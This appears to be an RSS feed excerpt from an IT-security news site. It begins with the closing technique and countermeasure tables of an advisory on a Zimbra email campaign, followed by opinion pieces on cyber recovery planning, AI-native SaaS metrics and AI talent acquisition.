<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The new value architecture of the AI-native SaaS era]]></title>
<description><![CDATA[The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.



In brief:




AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.



Smart companies are evolving new metrics that provide deep...]]></description>
<link>https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.</p>



<p class="wp-block-paragraph">In brief:</p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4146669/is-ai-the-end-of-saas-as-we-know-it.html">AI is transforming software as a service (SaaS)</a>, and the old ways of keeping score no longer apply.</li>



<li>Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.</li>



<li>These changes impact everything from pricing to valuations.</li>
</ul>



<p class="wp-block-paragraph">The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.</p>



<p class="wp-block-paragraph">The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.</p>



<p class="wp-block-paragraph">While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">credit-centric metrics framework</a>, with seats and outcomes as the bookends of a spectrum.</p>



<h2 class="wp-block-heading">Why do software companies need new metrics?</h2>



<p class="wp-block-paragraph">Why the rethink, and why now? There are five major forces that are driving this shift:</p>



<ol start="1" class="wp-block-list">
<li><a href="https://www.idc.com/resource-center/blog/is-saas-dead-rethinking-the-future-of-software-in-the-age-of-ai/"><strong>The unit of value is changing</strong></a><strong>.</strong> Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.</li>



<li><strong>The cost of goods sold (COGS) is exploding.</strong> AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.</li>



<li><strong>Buying is moving up the org chart.</strong> AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.</li>



<li><strong>Time to value (TTV) is collapsing.</strong> With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.</li>



<li><strong>Retention is bifurcating.</strong> AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.</li>
</ol>



<h2 class="wp-block-heading">How this shift is impacting pricing</h2>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_us/insights/strategy/grow-with-trusted-software-portfolio-management">Given how AI-native software is transforming the market</a>, the shift to more variable pricing options is inevitable.</p>



<p class="wp-block-paragraph">Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.</p>



<p class="wp-block-paragraph">Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.</p>



<p class="wp-block-paragraph">Finally, the industry will likely see <a href="https://www.gartner.com/en/newsroom/press-releases/2026-07-01-gartner-says-us-dollars-234-billion-in-enterprise-application-software-spend-is-at-risk-from-agentic-artificial-intelligence">some move toward outcome-based pricing</a> for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.</p>



<p class="wp-block-paragraph">Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.</p>



<h2 class="wp-block-heading">How AI upends classic SaaS metrics</h2>



<p class="wp-block-paragraph">When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?</p>



<p class="wp-block-paragraph">But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:</p>



<h3 class="wp-block-heading">Revenue composition</h3>



<ul class="wp-block-list">
<li>Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.</li>



<li>Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.</li>



<li>Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.</li>



<li>Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.</li>
</ul>



<h3 class="wp-block-heading">Margin reality</h3>



<ul class="wp-block-list">
<li>Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.</li>



<li>Inference-adjusted gross margin: By carving out AI inference costs separately in the P&amp;L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.</li>



<li>Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.</li>



<li>AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.</li>
</ul>



<h3 class="wp-block-heading">Behavioral and value signals</h3>



<ul class="wp-block-list">
<li>Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.</li>



<li>Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.</li>



<li>Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.</li>
</ul>



<p class="wp-block-paragraph">Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.</p>



<h2 class="wp-block-heading">What does this mean for enterprise value calculations?</h2>



<p class="wp-block-paragraph">As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.</p>



<p class="wp-block-paragraph">Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.</p>



<p class="wp-block-paragraph">For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.</p>



<p class="wp-block-paragraph">In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.</p>



<p class="wp-block-paragraph">We’re also seeing an inversion of the operating model, with R&amp;D and COGS moving up the P&amp;L and sales and marketing (S&amp;M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.</p>



<p class="wp-block-paragraph">Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.</p>



<h2 class="wp-block-heading">What this means for leaders, boards and investors</h2>



<p class="wp-block-paragraph">The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.</p>



<p class="wp-block-paragraph">While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.</p>



<p class="wp-block-paragraph">It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.</p>



<p class="wp-block-paragraph"><em>The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst &amp; Young LLP or other members of the global EY organization.</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to navigate the AI talent wars]]></title>
<description><![CDATA[Cloudflare recently beat Q1 2026 earnings. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”



...]]></description>
<link>https://tsecurity.de/de/3694394/it-security-nachrichten/how-to-navigate-the-ai-talent-wars/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694394/it-security-nachrichten/how-to-navigate-the-ai-talent-wars/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-net-q1-earnings-revenues-230528107.html">Cloudflare recently beat Q1 2026 earnings</a>. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”</p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/block-q1-earnings-beat-strong-144200216.html">Block did the same thing</a>. Beat guidance, raised outlook, cut 4,000+ jobs. Both framed it as architecting for the AI era.</p>



<p class="wp-block-paragraph">This is not a contradiction. This is the new math boards are running. And if you’re a CIO who hasn’t started running it yourself, <a href="mailto:https://www.cio.com/article/4077996/cios-be-ready-for-agentic-ai-or-be-out-of-a-job.html">you’re behind</a>.</p>



<h2 class="wp-block-heading">The benchmark has moved</h2>



<p class="wp-block-paragraph">AI-native companies have quietly reset what “efficient” means for a technology organization. Midjourney generates over $500M in revenue with roughly 160 employees, over $3M per head. Anthropic hit a $14B annualized run rate in early 2026 with fewer than 3,000 employees. Across the top AI-native startups, <a href="mailto:https://www.forbes.com/sites/paulbaier/2026/03/31/ai-native-firms-lead-in-revenue-per-employee/">the average revenue per employee is $3.48M</a>, nearly twelve times the traditional SaaS benchmark of $300K.</p>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/what-to-do-if-your-business-decelerates/">Boards aren’t comparing you to your 2019 self anymore</a>. They’re comparing you to Anthropic.</p>



<p class="wp-block-paragraph">This is the pressure Cloudflare and Block are responding to. They’re not cutting people because the business is struggling. They’re cutting because investors have internalized a new denominator. Headcount is no longer a proxy for capacity; it’s a liability on the efficiency ratio.</p>



<p class="wp-block-paragraph">For CIOs, this creates a hiring problem that looks nothing like the cloud or mobile talent gaps of the past decade. Those gaps were about volume: hire 100 cloud engineers, absorb the cost, build the capability… This one is about density; you’re not looking for 100 people. You’re looking for 10 who can deliver what 100 couldn’t, and justify $1M or more in value per seat.</p>



<p class="wp-block-paragraph">Finding bodies to fill seats has never been easier. Finding people who operate at that level of leverage is a different problem entirely.</p>



<h2 class="wp-block-heading">‘Acqui-hires’ are a shortcut with a hidden cost</h2>



<p class="wp-block-paragraph">Companies have figured out that recruiting AI-native talent one by one is too slow and that it’s faster to buy a team. Google’s acquisition of the Windsurf founders, Meta bringing in the Scale AI team, Accenture’s string of AI-focused acquisitions: <a href="mailto:https://tomtunguz.com/ai-acqui-hire-wave/">these are acqui-hires</a> dressed up as M&amp;A. The premium on experienced AI talent is high enough, and the urgency real enough, that organizations are skipping traditional hiring loops entirely and buying their way in.</p>



<p class="wp-block-paragraph">I’ve been on the other side of this. My company, MadKudu, was acquired by HG Insights specifically to bring AI-native capability into an established enterprise business. HG needed change agents who had already figured out how to build and ship in this new era, not just people who’d read about it. That’s the thesis behind most of these deals.</p>



<p class="wp-block-paragraph">But there’s a cost that doesn’t show up in the acquisition price.</p>



<p class="wp-block-paragraph">AI-native teams are fast because they operate with a different set of defaults: full access to tools, minimal governance layers, the ability to experiment and ship without a six-week approval cycle. That operating model is not a perk; it’s the fundamental mechanism. It’s why a team of 10 can do what an enterprise team of 100 can’t.</p>



<p class="wp-block-paragraph">When you acqui-hire that team and then slot them into your existing approval processes, you’ve bought the people and killed the engine. The change agents you paid for become change-frustrated. The attrition that follows is expensive and predictable.</p>



